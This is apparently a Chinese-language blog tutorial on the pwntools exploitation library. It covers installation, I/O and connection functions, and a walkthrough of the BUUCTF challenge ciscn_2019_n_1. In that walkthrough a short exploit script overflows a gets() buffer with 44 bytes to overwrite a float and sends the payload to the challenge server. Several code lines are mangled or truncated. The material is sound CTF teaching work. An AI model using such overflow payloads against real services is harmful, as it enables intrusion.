Documentation: pwntools — pwntools 4.10.0dev documentation
Github: https://github.com/Gallopsled/pwntools#readme
GitHub - Gallopsled/pwntools-tutorial: Tutorials for getting started with Pwntools
pwntools是一个CTF框架和漏洞利用的python开发库,专为快速开发而设计,旨在使漏洞利用编写尽可能简答;
网上可以看到很多人写的,但是都是比较老的教程,然后官方提供的documentation很详细,但是对于新人来说阅读和实践比较不友好;
虽然以前刚开始的时候是用python2来学习pwn,然后也比较方便;但是现在pwntools官方不再支持python2了,建议新人在python3环境下学习pwntools;
Python3环境下安装:
$ apt-get update
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
$ python3 -m pip install --upgrade pip
$ python3 -m pip install --upgrade pwntools
Python2环境下安装:
$ apt-get update
$ apt-get install python python-pip python-dev git libssl-dev libffi-dev build-essential
$ python2 -m pip install --upgrade pip==20.3.4
$ python2 -m pip install --upgrade pwntools
可以看到,新版kali也是python3自带pwntools,而python2没有了;
后面内容没有特殊说明,均默认以python3来演示和操作;
接收数据
recv(n) - 接收任意数量的可用字节
recvline() - 接收数据直到遇到换行符
recvuntil(delim) - 接收数据直到找到分隔符
recvregex(pattern) - 接收数据直到满足正则表达式模式
recvrepeat(timeout) - 继续接收数据,直到发生超时
clean() - 丢弃所有缓冲数据
发送数据
发送(数据) - 发送数据
sendline(line) - 发送数据加上换行符
操作整数
pack(int) - 发送一个字长的压缩整数
unpack() - 接收并解包一个字长整数
为了创建一个与进程对话的tube,只需创建一个进程对象并为其指定目标二进制文件的名称。
from pwn import *
io = process('sh')
io.sendline('echo Hello, world')
io.recvline()
# 'Hello, world\n'
执行上述代码的时候,可以看到其中有一个BytesWarning,其中导致的原因是一开始pwntools开发的时候是没有python3的,然后python2的str类型就是bytes类型,所以是不需要对这两个数据类型进行额外的处理;但是到了python3之后,str类型是unicode类型了,跟bytes类型有区别了,这就是要额外处理一下,加个b在str类型前面,以此来声明这是bytes类型的数据;
网络请求也是CTF PWN中常见的,先本地分析提供的可执行文件,然后完成脚本编写后,需要连接到服务器中执行poc来获取flag;pwntools也提供非常简单的连接函数;
frompwnimport*io=remote('google.com', 80)
io.send('GET /\r\n\r\n')
io.recvline()
# 'HTTP/1.0 200 OK\r\n'
指定不同的请求协议;
dns = remote('8.8.8.8', 53, typ='udp')
tcp6 = remote('google.com', 80, fam='ipv6')
pwntools也可以实现shell连接,比如ssh;
from pwn import *
session = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0')
io = session.process('sh', env={"PS1":""})
io.sendline('echo Hello, world!')
io.recvline()
# 'Hello, world!\n
from pwn import *
io = serialtube('/dev/ttyUSB0', baudrate=115200)
除了上面通信相关的函数,pwntools还提供了大量的功能函数,这里列举部分常用的,具体可以参考pwnlib.util.*这一块的功能,官方文档:pwnlib.util.crc — Calculating CRC-sums — pwntools 4.10.0dev documentation
主要的打包和解包函数知道上下文中的全局设置,例如字节序、位和符号,也可以在函数调用中明确指定它们。
pack() - 打包任意长度的整数
p16() - 16位
p32() - 32位
unpack() - 解包任意长度的整数
u16() - 16位
u32() - 32位
frompwnimport*write('filename', 'data')
read('filename')
# 'data'read('filename', 1)
# 'd'
当然除了这些常见的hash算法,还有很多都是支持,详细参考:pwnlib.util.hashes — Hashing functions — pwntools 4.10.0dev documentation
好了,学到这里,一些常见CTF中的PWN题比较简单的那种就可以自己来写poc了;来一道题试一下;
题目链接:https://buuoj.cn/challenges#ciscn_2019_n_1
拿到文件,常规操作,先检测和运行一下,分别结果如上;
既然是可执行文件,那就拖到ida里边看看执行逻辑,目前发现关键的地方就在执行的输出提示,然后可以输入;大概出题人的思路已经有了;
大概的理解,v1为接收输入点,v2固定为0.0,当v2 == 11.28125是,返回flag值;
从这里的意思其实就能看出v1存在溢出,需要溢出到覆盖v2的值为指定值,以此达到读取flag的效果;
然后溢出点也只有gets v1的时候;
因为11.28125为固定值而不是以前题目的位置,所以需要在playload中直接传入其值;这里也可以直接看到v1的长度是44,然后v2是float类型,需要讲11.28125转换成float类型,也就是41 34 80 00
到这里playload已经出来了,这时候我们用pwntool来本地测试;
第一次连接,python会提示没有gdbserver的环境,kali环境下sudo apt-get install gdbserver,装一个就完事了;当然如果是嵌入式设备的话,需要对应的环境编译一个;
环境准备好后,就可以开始本地的调试了;
用python中的pwntool来打开gdb调试,这样可以方便查看stack变化;在gdb中输入c或者continue让程序继续运行;这时候输入我们的playload;可以看到程序的执行发生了变化;
这时我们就可以构造exp了
from pwn import *
import struct
p = remote('node4.buuoj.cn',27075)
payload = b'a'*44 + struct.pack('
p.sendline(payload)
p.interactive()
或
from pwn import *
p=remote('node4.buuoj.cn',27075)
payload=b"a"*44+p64(0x41348000)
p.sendline(payload)
p.interactive()
然后还有一些其他的功能,如context的全局配置;
from pwn import *
context.arch = 'amd64'
还有ELFs文件的操作、ROP、日志打印、内存泄露、debug等功能和高阶用法,这些留到后面再来补充;
【参考】:https://github.com/Gallopsled/pwntools-tutorial#readme
【参考】:pwntools — pwntools 4.10.0dev documentation
【参考】:BUUCTF-ciscn_2019_n_1_51CTO博客_ciscn_2019_n_8